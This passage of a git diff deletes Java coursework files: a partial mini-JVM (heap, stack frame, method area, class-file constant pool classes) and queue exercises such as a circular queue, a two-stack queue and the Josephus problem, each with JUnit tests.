-    public ExecutorEngine() {
-
-    }
-
-    public void execute(Method mainMethod){
-
-
-
-    }
-
-
-
-    private void setupFunctionCallParams(StackFrame currentFrame,StackFrame nextFrame) {
-
-
-
-    }
-}
diff --git a/group17/785396327/4.23/engine/FrameResult.java b/group17/785396327/4.23/engine/FrameResult.java
deleted file mode 100644
index 7630e0a37a..0000000000
--- a/group17/785396327/4.23/engine/FrameResult.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package engine;
-
-/**
- * Created by gongxun on 2017/4/24.
- */
-public class FrameResult {
-}
diff --git a/group17/785396327/4.23/engine/Heap.java b/group17/785396327/4.23/engine/Heap.java
deleted file mode 100644
index dc7c2ccf6f..0000000000
--- a/group17/785396327/4.23/engine/Heap.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package engine;
-
-/**
- * Created by gongxun on 2017/4/24.
- */
-public class Heap {
-    /**
-     * 没有实现垃圾回收， 所以对于下面新创建的对象， 并没有记录到一个数据结构当中
-     */
-
-    private static Heap instance = new Heap();
-    private Heap() {
-    }
-    public static Heap getInstance(){
-        return instance;
-    }
-    public JavaObject newObject(String clzName){
-
-        JavaObject jo = new JavaObject(JavaObject.OBJECT);
-        jo.setClassName(clzName);
-        return jo;
-    }
-
-    public JavaObject newString(String value){
-        JavaObject jo = new JavaObject(JavaObject.STRING);
-        jo.setStringValue(value);
-        return jo;
-    }
-
-    public JavaObject newFloat(float value){
-        JavaObject jo = new JavaObject(JavaObject.FLOAT);
-        jo.setFloatValue(value);
-        return jo;
-    }
-    public JavaObject newInt(int value){
-        JavaObject jo = new JavaObject(JavaObject.INT);
-        jo.setIntValue(value);
-        return jo;
-    }
-
-}
diff --git a/group17/785396327/4.23/engine/JavaObject.java b/group17/785396327/4.23/engine/JavaObject.java
deleted file mode 100644
index efd8adf5df..0000000000
--- a/group17/785396327/4.23/engine/JavaObject.java
+++ /dev/null
@@ -1,73 +0,0 @@
-package engine;
-
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * Created by gongxun on 2017/4/24.
- */
-public class JavaObject {
-    public static final int OBJECT = 1;
-    public static final int STRING = 2;
-    public static final int INT = 3;
-    public static final int FLOAT = 4;
-
-    int type;
-    private String className;
-
-    private Map<String, JavaObject> fieldValues = new HashMap<String,JavaObject>();
-
-    private String stringValue;
-
-    private int intValue;
-
-    private float floatValue;
-
-    public void setFieldValue(String fieldName, JavaObject fieldValue){
-        fieldValues.put(fieldName, fieldValue);
-    }
-    public JavaObject(int type){
-        this.type = type;
-    }
-    public void setClassName(String className){
-        this.className = className;
-    }
-    public void setStringValue(String value){
-        stringValue = value;
-    }
-    public String getStringValue(){
-        return this.stringValue;
-    }
-    public void setIntValue(int value) {
-        this.intValue = value;
-    }
-    public int getIntValue(){
-        return this.intValue;
-    }
-    public int getType(){
-        return type;
-    }
-    public JavaObject getFieldValue(String fieldName){
-        return this.fieldValues.get(fieldName);
-    }
-    public String toString(){
-        switch(this.getType()){
-            case INT:
-                return String.valueOf(this.intValue);
-            case STRING:
-                return this.stringValue;
-            case OBJECT:
-                return this.className +":"+ this.fieldValues;
-            case FLOAT :
-                return String.valueOf(this.floatValue);
-            default:
-                return null;
-        }
-    }
-    public String getClassName(){
-        return this.className;
-    }
-    public void setFloatValue(float value) {
-        this.floatValue = value;
-    }
-}
diff --git a/group17/785396327/4.23/engine/MethodArea.java b/group17/785396327/4.23/engine/MethodArea.java
deleted file mode 100644
index 3ede83b192..0000000000
--- a/group17/785396327/4.23/engine/MethodArea.java
+++ /dev/null
@@ -1,70 +0,0 @@
-package engine;
-
-import clz.ClassFile;
-import constant.MethodRefInfo;
-import jvm_1.ClassFileLoader;
-import method.Method;
-
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * Created by gongxun on 2017/4/24.
- */
-public class MethodArea {
-    public static final MethodArea instance = new MethodArea();
-
-    /**
-     * 注意：我们做了极大的简化， ClassLoader 只有一个， 实际JVM中的ClassLoader,是一个双亲委托的模型
-     */
-
-    private ClassFileLoader clzLoader = null;
-
-    Map<String,ClassFile> map = new HashMap<String,ClassFile>();
-
-    private MethodArea(){
-    }
-
-    public static MethodArea getInstance(){
-        return instance;
-    }
-
-    public void setClassFileLoader(ClassFileLoader clzLoader){
-        this.clzLoader = clzLoader;
-    }
-
-    public Method getMainMethod(String className){
-
-        ClassFile clzFile = this.findClassFile(className);
-
-        return clzFile.getMainMethod();
-    }
-
-
-    public  ClassFile findClassFile(String className){
-
-        if(map.get(className) != null){
-            return map.get(className);
-        }
-        // 看来该class 文件还没有load过
-        ClassFile clzFile = this.clzLoader.loadClass(className);
-
-        map.put(className, clzFile);
-
-        return clzFile;
-
-    }
-
-
-    public Method getMethod(String className, String methodName, String paramAndReturnType){
-
-        return null;
-    }
-
-
-    public Method getMethod(MethodRefInfo methodRef){
-
-        return null;
-
-    }
-}
diff --git a/group17/785396327/4.23/engine/MiniJVM.java b/group17/785396327/4.23/engine/MiniJVM.java
deleted file mode 100644
index 19094eee23..0000000000
--- a/group17/785396327/4.23/engine/MiniJVM.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package engine;
-
-import jvm_1.ClassFileLoader;
-
-import java.io.FileNotFoundException;
-import java.io.IOException;
-
-/**
- * Created by gongxun on 2017/4/24.
- */
-public class MiniJVM {
-    public void run(String[]classPaths , String className) throws FileNotFoundException, IOException {
-
-        ClassFileLoader loader = new ClassFileLoader();
-        for(int i=0;i<classPaths.length ; i++){
-            loader.addClassPath(classPaths[i]);
-        }
-
-        MethodArea methodArea= MethodArea.getInstance();
-
-        methodArea.setClassFileLoader(loader);
-
-        ExecutorEngine engine = new ExecutorEngine();
-
-        className = className.replace(".", "/");
-
-        engine.execute(methodArea.getMainMethod(className));
-    }
-}
diff --git a/group17/785396327/4.23/engine/StackFrame.java b/group17/785396327/4.23/engine/StackFrame.java
deleted file mode 100644
index 135a28612b..0000000000
--- a/group17/785396327/4.23/engine/StackFrame.java
+++ /dev/null
@@ -1,95 +0,0 @@
-package engine;
-
-import cmd.ByteCodeCommand;
-import method.Method;
-import stack.Stack;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Created by gongxun on 2017/4/24.
- */
-public class StackFrame {
-    private List<JavaObject> localVariableTable = new ArrayList<JavaObject>();
-    private Stack<JavaObject> oprandStack = new Stack<JavaObject>();
-
-    int index = 0;
-
-    private Method m = null;
-
-    private StackFrame callerFrame = null;
-
-    public StackFrame getCallerFrame() {
-        return callerFrame;
-    }
-
-    public void setCallerFrame(StackFrame callerFrame) {
-        this.callerFrame = callerFrame;
-    }
-
-
-
-
-    public static  StackFrame create(Method m){
-
-        StackFrame frame = new StackFrame( m );
-
-        return frame;
-    }
-
-
-    private StackFrame(Method m) {
-        this.m = m;
-
-    }
-
-
-
-    public JavaObject getLocalVariableValue(int index){
-        return this.localVariableTable.get(index);
-    }
-
-    public Stack<JavaObject> getOprandStack(){
-        return this.oprandStack;
-    }
-
-    public int getNextCommandIndex(int offset){
-
-        ByteCodeCommand[] cmds = m.getCodeAttr().getCmds();
-        for(int i=0;i<cmds.length; i++){
-            if(cmds[i].getOffset() == offset){
-                return i;
-            }
-        }
-        throw new RuntimeException("Can't find next command");
-    }
-
-    public ExecutionResult execute(){
-        return null;
-
-    }
-
-
-
-
-    public void setLocalVariableTable(List<JavaObject> values){
-        this.localVariableTable = values;
-    }
-
-    public void setLocalVariableValue(int index, JavaObject jo){
-        //问题： 为什么要这么做？？
-        if(this.localVariableTable.size()-1 < index){
-            for(int i=this.localVariableTable.size(); i<=index; i++){
-                this.localVariableTable.add(null);
-            }
-        }
-        this.localVariableTable.set(index, jo);
-
-
-    }
-
-    public Method getMethod(){
-        return m;
-    }
-}
diff --git a/group17/785396327/4.23/queue/CircleQueue.java b/group17/785396327/4.23/queue/CircleQueue.java
deleted file mode 100644
index a7ab62bf55..0000000000
--- a/group17/785396327/4.23/queue/CircleQueue.java
+++ /dev/null
@@ -1,59 +0,0 @@
-package queue;
-
-import java.util.Arrays;
-
-/**
- * Created by gongxun on 2017/4/24.
- * 用数组实现循环队列
- */
-public class CircleQueue<E> {
-    private final static int DEFAULT_SIZE = 10;
-
-    //用数组来保存循环队列的元素
-    private Object[] elementData = new Object[DEFAULT_SIZE];
-
-    //队头
-    private int front = 0;
-    //队尾
-    private int rear = 0;
-
-    public boolean isEmpty() {
-        return front == rear && elementData[front] == null;
-
-    }
-
-    public int size() {
-        if (isEmpty())
-            return 0;
-        return front - rear > 0 ? DEFAULT_SIZE - front + rear : front - rear < 0 ? rear - front : DEFAULT_SIZE;
-    }
-
-
-    public void enQueue(E data) {
-        if (size() != DEFAULT_SIZE) {
-            elementData[rear] = data;
-            if (rear == DEFAULT_SIZE - 1)
-                rear = 0;
-            else
-                rear++;
-        }
-    }
-
-    public E deQueue() {
-        E removeEle = null;
-        if (!isEmpty()) {
-            removeEle = (E) elementData[front];
-            elementData[front] = null;
-            if (front == DEFAULT_SIZE - 1)
-                front = 0;
-            else
-                front++;
-        }
-        return removeEle;
-    }
-
-    @Override
-    public String toString() {
-        return Arrays.toString(elementData);
-    }
-}
diff --git a/group17/785396327/4.23/queue/CircleQueueTest.java b/group17/785396327/4.23/queue/CircleQueueTest.java
deleted file mode 100644
index 1a3f97d9bf..0000000000
--- a/group17/785396327/4.23/queue/CircleQueueTest.java
+++ /dev/null
@@ -1,62 +0,0 @@
-package queue;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Created by gongxun on 2017/4/25.
- */
-public class CircleQueueTest {
-    @Before
-    public void startUp() {
-
-    }
-
-    @After
-    public void tearDown() {
-
-    }
-
-    @Test
-    public void testEnQueue() {
-        CircleQueue<Integer> circleQueue = new CircleQueue<Integer>();
-        {
-            for (int i = 0; i < 9; i++) {
-                circleQueue.enQueue(i);
-            }
-        }
-
-        {
-
-            Assert.assertEquals("[0, 1, 2, 3, 4, 5, 6, 7, 8, null]", circleQueue.toString());
-            Assert.assertEquals(9, circleQueue.size());
-
-            circleQueue.enQueue(9);
-            Assert.assertEquals("[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]", circleQueue.toString());
-            Assert.assertEquals(10, circleQueue.size());
-
-            circleQueue.enQueue(10);
-            Assert.assertEquals("[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]", circleQueue.toString());
-            Assert.assertEquals(10, circleQueue.size());
-        }
-
-        {
-            int removeEle = circleQueue.deQueue();
-            Assert.assertEquals(0, removeEle);
-            circleQueue.deQueue();
-            circleQueue.deQueue();
-            circleQueue.deQueue();
-            Assert.assertEquals("[null, null, null, null, 4, 5, 6, 7, 8, 9]", circleQueue.toString());
-        }
-        {
-            circleQueue.enQueue(-1);
-            Assert.assertEquals("[-1, null, null, null, 4, 5, 6, 7, 8, 9]", circleQueue.toString());
-            Assert.assertEquals(7, circleQueue.size());
-        }
-
-    }
-
-
-}
diff --git a/group17/785396327/4.23/queue/Josephus.java b/group17/785396327/4.23/queue/Josephus.java
deleted file mode 100644
index 7285c64dfe..0000000000
--- a/group17/785396327/4.23/queue/Josephus.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package queue;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Created by gongxun on 2017/4/24.
- * 用Queue来实现Josephus问题
- * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数,     报到M的人会被杀死， 直到最后一个人留下来
- * 该方法返回一个List， 包含了被杀死人的次序
- */
-public class Josephus {
-    public static List<Integer> execute(int n, int m) {
-        if (m <= 0)
-            return null;
-        List<Integer> origin = new ArrayList<Integer>();
-        List<Integer> sequence = new ArrayList<Integer>();
-        for (int i = 0; i < n; i++) {
-            origin.add(i);
-        }
-        int count = 1;//计数器
-        int index = count - 1;//当前元素的索引
-        while (origin.size() > 1) {
-            if (count == m) {
-                sequence.add(origin.remove(index));
-                count = 1;//删除一个元素，则重新计数
-            } else {
-                count++;
-                if (index == origin.size() - 1)
-                    //遍历到最后一个元素，重回头索引
-                    index = 0;
-                else
-                    index++;
-            }
-        }
-        sequence.add(origin.get(0));
-        return sequence;
-    }
-}
diff --git a/group17/785396327/4.23/queue/JosephusTest.java b/group17/785396327/4.23/queue/JosephusTest.java
deleted file mode 100644
index 87fe65211d..0000000000
--- a/group17/785396327/4.23/queue/JosephusTest.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package queue;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Created by gongxun on 2017/4/24.
- */
-public class JosephusTest {
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testExecute() {
-
-        Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
-        Assert.assertEquals("[1, 0, 2]", Josephus.execute(3, 2).toString());
-    }
-}
diff --git a/group17/785396327/4.23/queue/QueueWithTwoStacks.java b/group17/785396327/4.23/queue/QueueWithTwoStacks.java
deleted file mode 100644
index 995bab9904..0000000000
--- a/group17/785396327/4.23/queue/QueueWithTwoStacks.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package queue;
-
-import stack.Stack;
-
-/**
- * Created by gongxun on 2017/4/24.
- */
-public class QueueWithTwoStacks<E> {
-    private Stack<E> stack1;
-    private Stack<E> stack2;
-
-
-    public QueueWithTwoStacks() {
-        stack1 = new Stack<E>();
-        stack2 = new Stack<E>();
-    }
-
-
-    public boolean isEmpty() {
-        return stack1.size() == 0;
-    }
-
-
-    public int size() {
-        return stack1.size();
-    }
-
-
-    public void enQueue(E item) {
-        Stack<E> temp = new Stack<E>();
-        stack1.push(item);
-        while (!stack2.isEmpty())
-            temp.push(stack2.pop());
-        temp.push(item);
-        while (!temp.isEmpty())
-            stack2.push(temp.pop());
-    }
-
-    public E deQueue() {
-        Stack<E> temp = new Stack<E>();
-        E ele = stack2.pop();
-        while (!stack1.isEmpty())
-            temp.push(stack1.pop());
-        temp.pop();
-        while (!temp.isEmpty())
-            stack1.push(temp.pop());
-        return ele;
-    }
-
-    @Override
-    public String toString() {
-        return stack1.toString() + "\n" + stack2.toString();
-    }
-}
diff --git a/group17/785396327/4.23/queue/QueueWithTwoStacksTest.java b/group17/785396327/4.23/queue/QueueWithTwoStacksTest.java
deleted file mode 100644
index e0c90c4b66..0000000000
--- a/group17/785396327/4.23/queue/QueueWithTwoStacksTest.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package queue;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Created by gongxun on 2017/4/26.
- */
-public class QueueWithTwoStacksTest {
-
-    private QueueWithTwoStacks queue;
-
-    @Before
-    public void startUp() {
-        queue = new QueueWithTwoStacks();
-        queue.enQueue(1);
-        queue.enQueue(2);
-        queue.enQueue(3);
-    }
-
-    @After
-    public void tearDown() {
-
-    }
-
-    @Test
-    public void enQueueTest() {
-        System.out.println(queue);
-    }
-
-    @Test
-    public void deQueueTest() {
-        queue.deQueue();
-        System.out.println(queue);
-    }
-}
diff --git a/group17/785396327/4.5/clz/AccessFlag.java b/group17/785396327/4.5/clz/AccessFlag.java
deleted file mode 100644
index bbdf7c8818..0000000000
--- a/group17/785396327/4.5/clz/AccessFlag.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package clz;
-
-/**
- * Created by IBM on 2017/4/10.
- */
-public class AccessFlag {
-    private int flagValue;
-
-    public AccessFlag(int value) {
-        this.flagValue = value;
-    }
-
-    public int getFlagValue() {
-        return flagValue;
-    }
-
-    public void setFlagValue(int flag) {
-        this.flagValue = flag;
-    }
-
-    public boolean isPublicClass(){
-        return (this.flagValue & 0x0001) != 0;
-    }
-    public boolean isFinalClass(){
-        return (this.flagValue & 0x0010) != 0;
-    }
-
-}
diff --git a/group17/785396327/4.5/clz/ClassFile.java b/group17/785396327/4.5/clz/ClassFile.java
deleted file mode 100644
index f53199e6bb..0000000000
--- a/group17/785396327/4.5/clz/ClassFile.java
+++ /dev/null
@@ -1,120 +0,0 @@
-package clz;
-
-import constant.ClassInfo;
-import constant.ConstantInfo;
-import constant.ConstantPool;
-import field.Field;
-import method.Method;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Created by IBM on 2017/4/10.
- */
-public class ClassFile {
-    private int minorVersion;
-    private int majorVersion;
-
-    private AccessFlag accessFlag;
-    private ClassIndex clzIndex;
-    private ConstantPool pool;
-    private List<Field> fields = new ArrayList<Field>();
-    private List<Method> methods = new ArrayList<Method>();
-
-    public ClassIndex getClzIndex() {
-        return clzIndex;
-    }
-    public AccessFlag getAccessFlag() {
-        return accessFlag;
-    }
-    public void setAccessFlag(AccessFlag accessFlag) {
-        this.accessFlag = accessFlag;
-    }
-
-
-
-    public ConstantPool getConstantPool() {
-        return pool;
-    }
-    public int getMinorVersion() {
-        return minorVersion;
-    }
-    public void setMinorVersion(int minorVersion) {
-        this.minorVersion = minorVersion;
-    }
-    public int getMajorVersion() {
-        return majorVersion;
-    }
-    public void setMajorVersion(int majorVersion) {
-        this.majorVersion = majorVersion;
-    }
-    public void setConstPool(ConstantPool pool) {
-        this.pool = pool;
-
-    }
-    public void setClassIndex(ClassIndex clzIndex) {
-        this.clzIndex = clzIndex;
-    }
-
-    public void addField(Field f){
-        this.fields.add(f);
-    }
-    public List<Field> getFields(){
-        return this.fields;
-    }
-    public void addMethod(Method m){
-        this.methods.add(m);
-    }
-    public List<Method> getMethods() {
-        return methods;
-    }
-
-
-    public void print(){
-
-        if(this.accessFlag.isPublicClass()){
-            System.out.println("Access flag : public  ");
-        }
-        System.out.println("Class Name:"+ getClassName());
-
-        System.out.println("Super Class Name:"+ getSuperClassName());
-
-        System.out.println("Constant pool:");
-
-
-    }
-
-    public String getClassName(){
-        int thisClassIndex = this.clzIndex.getThisClassIndex();
-        ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
-        return thisClass.getClassName();
-    }
-    public String getSuperClassName(){
-        ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-        return superClass.getClassName();
-    }
-
-    public Method getMethod(String methodName, String paramAndReturnType) {
-        if (methods != null) {
-            for (Method method : methods) {
-                String name = getConstantPool().getUTF8String(method.getNameIndex());
-                String desc = getConstantPool().getUTF8String(method.getDescriptorIndex());
-                if(name.equals(methodName)&&desc.equals(paramAndReturnType))
-                    return method;
-            }
-        }
-        return null;
-    }
-    public Method getMainMethod(){
-        if (methods != null) {
-            for (Method method : methods) {
-                String name = getConstantPool().getUTF8String(method.getNameIndex());
-                String desc = getConstantPool().getUTF8String(method.getDescriptorIndex());
-                if(name.equals("main")&&desc.equals("([Ljava/lang/String;)V"))
-                    return method;
-            }
-        }
-        return null;
-    }
-}
diff --git a/group17/785396327/4.5/clz/ClassIndex.java b/group17/785396327/4.5/clz/ClassIndex.java
deleted file mode 100644
index d0eb281a09..0000000000
--- a/group17/785396327/4.5/clz/ClassIndex.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package clz;
-
-/**
- * Created by IBM on 2017/4/10.
- */
-public class ClassIndex {
-    private int thisClassIndex;
-    private int superClassIndex;
-
-    public int getThisClassIndex() {
-        return thisClassIndex;
-    }
-
-    public void setThisClassIndex(int thisClassIndex) {
-        this.thisClassIndex = thisClassIndex;
-    }
-
-    public int getSuperClassIndex() {
-        return superClassIndex;
-    }
-
-    public void setSuperClassIndex(int superClassIndex) {
-        this.superClassIndex = superClassIndex;
-    }
-}
diff --git a/group17/785396327/4.5/constant/ClassInfo.java b/group17/785396327/4.5/constant/ClassInfo.java
deleted file mode 100644
index 02aa4b2699..0000000000
--- a/group17/785396327/4.5/constant/ClassInfo.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package constant;
-
-/**
- * Created by IBM on 2017/4/10.
- */
-public class ClassInfo extends ConstantInfo {
-    private int type = ConstantInfo.CLASS_INFO;
-    private int utf8Index ;
-    public ClassInfo(ConstantPool pool) {
-        super(pool);
-    }
-    public int getUtf8Index() {
-        return utf8Index;
-    }
-    public void setUtf8Index(int utf8Index) {
-        this.utf8Index = utf8Index;
-    }
-    public int getType() {
-        return type;
-    }
-
-    @Override
-    public void accept(Visitor visitor) {
-        visitor.visitClassInfo(this);
-    }
-
-    public String getClassName() {
-        int index = getUtf8Index();
-        UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
-        return utf8Info.getValue();
-    }
-}
diff --git a/group17/785396327/4.5/constant/ConstantInfo.java b/group17/785396327/4.5/constant/ConstantInfo.java
deleted file mode 100644
index 156d96827d..0000000000
--- a/group17/785396327/4.5/constant/ConstantInfo.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package constant;
-
-/**
- * Created by IBM on 2017/4/10.
- */
-public abstract class ConstantInfo {
-    public static final int UTF8_INFO = 1;
-    public static final int FLOAT_INFO = 4;
-    public static final int CLASS_INFO = 7;
-    public static final int STRING_INFO = 8;
-    public static final int FIELD_INFO = 9;
-    public static final int METHOD_INFO = 10;
-    public static final int NAME_AND_TYPE_INFO = 12;
-    protected ConstantPool constantPool;
-
-    public ConstantInfo() {
-
-    }
-
-    public ConstantInfo(ConstantPool pool) {
-        this.constantPool = pool;
-    }
-
-    public abstract int getType();
-
-    public ConstantPool getConstantPool() {
-        return constantPool;
-    }
-
-    public ConstantInfo getConstantInfo(int index) {
-        return this.constantPool.getConstantInfo(index);
-    }
-
-    public abstract void accept(Visitor visitor);
-
-    public interface Visitor {
-        void visitClassInfo(ClassInfo info);
-
-        void visitFieldRef(FieldRefInfo info);
-
-        void visitMethodRef(MethodRefInfo info);
-
-        void visitNameAndType(NameAndTypeInfo info);
-
-        void visitString(StringInfo info);
-
-        void visistUTF8(UTF8Info info);
-
-    }
-}
diff --git a/group17/785396327/4.5/constant/ConstantPool.java b/group17/785396327/4.5/constant/ConstantPool.java
deleted file mode 100644
index 396ccee230..0000000000
--- a/group17/785396327/4.5/constant/ConstantPool.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package constant;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Created by IBM on 2017/4/10.
- */
-public class ConstantPool {
-    private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
-
-
-    public ConstantPool(){
-
-    }
-    public void addConstantInfo(ConstantInfo info){
-
-        this.constantInfos.add(info);
-
-    }
-
-    public ConstantInfo getConstantInfo(int index){
-        return this.constantInfos.get(index);
-    }
-    public String getUTF8String(int index){
-        return ((UTF8Info)this.constantInfos.get(index)).getValue();
-    }
-    public Object getSize() {
-        return this.constantInfos.size() -1;
-    }
-
-}
diff --git a/group17/785396327/4.5/constant/FieldRefInfo.java b/group17/785396327/4.5/constant/FieldRefInfo.java
deleted file mode 100644
index 2f3d2ee351..0000000000
--- a/group17/785396327/4.5/constant/FieldRefInfo.java
+++ /dev/null
@@ -1,62 +0,0 @@
-package constant;
-
-/**
- * Created by IBM on 2017/4/10.
- */
-public class FieldRefInfo extends ConstantInfo {
-    private int type = ConstantInfo.FIELD_INFO;
-    private int classInfoIndex;
-    private int nameAndTypeIndex;
-
-    public FieldRefInfo(ConstantPool pool) {
-        super(pool);
-    }
-    public int getType() {
-        return type;
-    }
-
-    @Override
-    public void accept(Visitor visitor) {
-        visitor.visitFieldRef(this);
-    }
-
-    public int getClassInfoIndex() {
-        return classInfoIndex;
-    }
-    public void setClassInfoIndex(int classInfoIndex) {
-        this.classInfoIndex = classInfoIndex;
-    }
-    public int getNameAndTypeIndex() {
-        return nameAndTypeIndex;
-    }
-    public void setNameAndTypeIndex(int nameAndTypeIndex) {
-        this.nameAndTypeIndex = nameAndTypeIndex;
-    }
-
-    public String toString(){
-
-        NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-
-        return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
-    }
-
-    public String getClassName(){
-
-        ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
-
-        UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
-
-        return utf8Info.getValue();
-
-    }
-
-    public String getFieldName(){
-        NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-        return typeInfo.getName();
-    }
-
-    public String getFieldType(){
-        NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-        return typeInfo.getTypeInfo();
-    }
-}
diff --git a/group17/785396327/4.5/constant/MethodRefInfo.java b/group17/785396327/4.5/constant/MethodRefInfo.java
deleted file mode 100644
index 7a95d2a6bb..0000000000
--- a/group17/785396327/4.5/constant/MethodRefInfo.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package constant;
-
-/**
- * Created by IBM on 2017/4/10.
- */
-public class MethodRefInfo extends ConstantInfo{
-    private int type = ConstantInfo.METHOD_INFO;
-
-    private int classInfoIndex;
-    private int nameAndTypeIndex;
-
-    public MethodRefInfo(ConstantPool pool) {
-        super(pool);
-    }
-
-    public int getType() {
-        return type;
-    }
-
-    @Override
-    public void accept(Visitor visitor) {
-        visitor.visitMethodRef(this);
-    }
-
-    public int getClassInfoIndex() {
-        return classInfoIndex;
-    }
-
-    public void setClassInfoIndex(int classInfoIndex) {
-        this.classInfoIndex = classInfoIndex;
-    }
-
-    public int getNameAndTypeIndex() {
-        return nameAndTypeIndex;
-    }
-
-    public void setNameAndTypeIndex(int nameAndTypeIndex) {
-        this.nameAndTypeIndex = nameAndTypeIndex;
-    }
-
-    public String toString() {
-
-        return getClassName() + " : " + this.getMethodName() + " : " + this.getNameAndTypeIndex();
-    }
-
-    public String getClassName() {
-        ConstantPool pool = this.getConstantPool();
-        ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(this.getClassInfoIndex());
-        return clzInfo.getClassName();
-    }
-
-    public String getMethodName() {
-        ConstantPool pool = this.getConstantPool();
-        NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
-        return typeInfo.getName();
-    }
-
-}
diff --git a/group17/785396327/4.5/constant/NameAndTypeInfo.java b/group17/785396327/4.5/constant/NameAndTypeInfo.java
deleted file mode 100644
index c7e720c0e3..0000000000
--- a/group17/785396327/4.5/constant/NameAndTypeInfo.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package constant;
-
-/**
- * Created by IBM on 2017/4/10.
- */
-public class NameAndTypeInfo extends ConstantInfo {
-    public int type = ConstantInfo.NAME_AND_TYPE_INFO;
-    private int index1;
-    private int index2;
-
-    public NameAndTypeInfo(ConstantPool pool) {
-        super(pool);
-    }
-
-    public int getIndex1() {
-        return index1;
-    }
-
-    public void setIndex1(int index1) {
-        this.index1 = index1;
-    }
-
-    public int getIndex2() {
-        return index2;
-    }
-
-    public void setIndex2(int index2) {
-        this.index2 = index2;
-    }
-
-    public int getType() {
-        return type;
-    }
-
-    @Override
-    public void accept(Visitor visitor) {
-        visitor.visitNameAndType(this);
-    }
-
-
-    public String getName() {
-        ConstantPool pool = this.getConstantPool();
-        UTF8Info utf8Info1 = (UTF8Info) pool.getConstantInfo(index1);
-        return utf8Info1.getValue();
-    }
-
-    public String getTypeInfo() {
-        ConstantPool pool = this.getConstantPool();
-        UTF8Info utf8Info2 = (UTF8Info) pool.getConstantInfo(index2);
-        return utf8Info2.getValue();
-    }
-
-    public String toString() {
-        return "(" + getName() + "," + getTypeInfo() + ")";
-    }
-
-}
diff --git a/group17/785396327/4.5/constant/NullConstantInfo.java b/group17/785396327/4.5/constant/NullConstantInfo.java
deleted file mode 100644
index c49d937c76..0000000000
--- a/group17/785396327/4.5/constant/NullConstantInfo.java
+++ /dev/null
@@ -1,20 +0,0 @@
-package constant;
-
-/**
- * Created by IBM on 2017/4/10.
- */
-public class NullConstantInfo extends ConstantInfo {
-    public NullConstantInfo(){
-
-    }
-    @Override
-    public int getType() {
-        return -1;
-    }
-
-    @Override
-    public void accept(Visitor visitor) {
-        System.out.println("null Constant info");
-    }
-
-}
diff --git a/group17/785396327/4.5/constant/StringInfo.java b/group17/785396327/4.5/constant/StringInfo.java
deleted file mode 100644
index 6953e7cdf8..0000000000
--- a/group17/785396327/4.5/constant/StringInfo.java
+++ /dev/null
@@ -1,34 +0,0 @@
-package constant;
-
-/**
- * Created by IBM on 2017/4/10.
- */
-public class StringInfo extends ConstantInfo {
-    private int type = ConstantInfo.STRING_INFO;
-    private int index;
-    public StringInfo(ConstantPool pool) {
-        super(pool);
-    }
-
-    public int getType() {
-        return type;
-    }
-
-    @Override
-    public void accept(Visitor visitor) {
-        visitor.visitString(this);
-    }
-
-    public int getIndex() {
-        return index;
-    }
-    public void setIndex(int index) {
-        this.index = index;
-    }
-
-
-    public String toString(){
-        return this.getConstantPool().getUTF8String(index);
-    }
-
-}
diff --git a/group17/785396327/4.5/constant/UTF8Info.java b/group17/785396327/4.5/constant/UTF8Info.java
deleted file mode 100644
index 814615f4f2..0000000000
--- a/group17/785396327/4.5/constant/UTF8Info.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package constant;
-
-/**
- * Created by IBM on 2017/4/10.
- */
-public class UTF8Info extends ConstantInfo {
-    private int type = ConstantInfo.UTF8_INFO;
-    private int length ;
-    private String value;
-    public UTF8Info(ConstantPool pool) {
-        super(pool);
-    }
-    public int getLength() {
-        return length;
-    }
-    public void setLength(int length) {
-        this.length = length;
-    }
-    public int getType() {
-        return type;
-    }
-
-    @Override
-    public void accept(Visitor visitor) {
-        visitor.visistUTF8(this);
-    }
-
